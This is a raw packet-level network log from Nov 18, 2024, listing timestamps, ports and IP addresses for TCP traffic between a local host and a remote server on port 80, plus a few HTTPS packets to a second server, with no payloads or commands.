Nov 18, 2024 23:04:16.314660072 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.314681053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.314692974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.314714909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.314749956 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.314762115 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.314786911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.314802885 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.314835072 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.380165100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.380269051 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.380295992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.380312920 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.380328894 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.380346060 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.380363941 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.380379915 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.380395889 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.380412102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.380425930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.380441904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.380502939 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.380502939 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.380502939 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.380575895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.380610943 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.380623102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.380623102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.380645990 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.380647898 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.380661964 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.380680084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.380702972 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.380734921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.380739927 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.380769014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.380794048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.380804062 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.380822897 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.380837917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.380861044 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.380892992 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.380892992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.380928993 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.380951881 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.380980015 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.380983114 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.381016970 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.381042004 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.381052971 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.381073952 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.381087065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.381093979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.381122112 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.381155968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.381172895 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.381194115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.381207943 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.381225109 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.381242037 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.381269932 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.383968115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.384001970 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.384054899 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.384083986 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.384088993 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.384124041 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.384139061 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.384156942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.384191990 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.384207964 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.384228945 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.384243011 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.384262085 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.384280920 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.384296894 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.384315014 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.384330988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.384342909 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.384366035 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.384380102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.384401083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.384417057 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.384438038 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.384449005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.384468079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.384488106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.384556055 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.384588957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.384609938 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.384634018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.384641886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.384675980 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.384710073 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.384727001 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.384742975 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.384763956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.384779930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.384799004 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.384830952 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.384833097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.384867907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.384881973 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.384902954 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.384936094 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.384952068 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.384989977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.384990931 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.385025024 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.385076046 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.385080099 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.385113955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.385147095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.385164976 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.385179043 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.385195017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.385214090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.385229111 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.385246992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.385274887 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.385282040 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.385308981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.385315895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.385334969 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.385351896 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.385368109 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.385385990 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.385401011 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.385426998 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.385440111 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.385476112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.385577917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.385611057 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.385627985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.385644913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.385678053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.385699987 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.385711908 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.385730982 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.385746002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.385767937 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.385782003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.385798931 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.385816097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.385829926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.385852098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.385884047 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.385901928 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.385916948 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.385942936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.385950089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.385976076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.385978937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.385998011 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.386008978 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.386023998 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.389467001 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.399456024 CET	443	49836	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:16.401607990 CET	49836	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:16.401638985 CET	443	49836	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:16.402283907 CET	49836	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:16.402292013 CET	443	49836	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:16.425152063 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.425206900 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.425242901 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.425246000 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.425272942 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.425276995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.425298929 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.425312042 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.425319910 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.425367117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.425419092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.425421000 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.425451994 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.425467014 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.425486088 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.425504923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.425519943 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.425553083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.425575018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.425585032 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.425609112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.425618887 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.425645113 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.425657034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.425669909 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.425709009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.425745010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.425764084 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.425777912 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.425798893 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.425812006 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.425836086 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.425847054 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.425860882 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.425880909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.425913095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.425935984 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.425945997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.425971985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.425980091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.425997972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.426007032 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.426012993 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.426032066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.426038027 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.426044941 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.426064968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.426103115 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.427154064 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.427176952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.427194118 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.427210093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.427222967 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.427247047 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.427263021 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.427268982 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.427293062 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.427326918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.427356958 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.427385092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.427409887 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.427409887 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.427427053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.427436113 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.427444935 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.427459955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.427460909 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.427478075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.427479029 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.427522898 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.427524090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.427540064 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.427555084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.427567959 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.427587986 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.427617073 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.427627087 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.427639961 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.427653074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.427669048 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.427686930 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.427707911 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.427984953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.428014040 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.428029060 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.428037882 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.428075075 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.428153038 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.428168058 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.428183079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.428200006 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.428205967 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.428214073 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.428231955 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.428270102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.428299904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.428406000 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.428431988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.428447962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.428456068 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.428464890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.428495884 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.428519964 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.428613901 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.428642035 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.428658009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.428688049 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.428724051 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.428745985 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.428761959 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.428811073 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.428956032 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.428972006 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.428986073 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429014921 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.429047108 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.429055929 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429071903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429086924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429102898 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429117918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.429153919 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.429203987 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429220915 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429246902 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429261923 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429266930 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.429277897 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429290056 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.429295063 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429311991 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429325104 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.429327011 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429343939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429362059 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.429393053 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.429496050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429569006 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.429591894 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429608107 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429622889 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429639101 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429651976 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.429655075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429672003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429687977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429692030 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.429713011 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.429734945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.429800987 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429816961 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429831982 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429847002 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.429863930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429874897 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.429881096 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429897070 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429909945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.429913998 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429930925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429944992 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.429948092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429964066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429980040 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.429995060 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.429995060 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430006027 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.430011988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430035114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.430057049 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.430289030 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430304050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430319071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430334091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430344105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.430349112 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430366039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.430377007 CET	49794	80	192.168.2.4	31.41.244.11
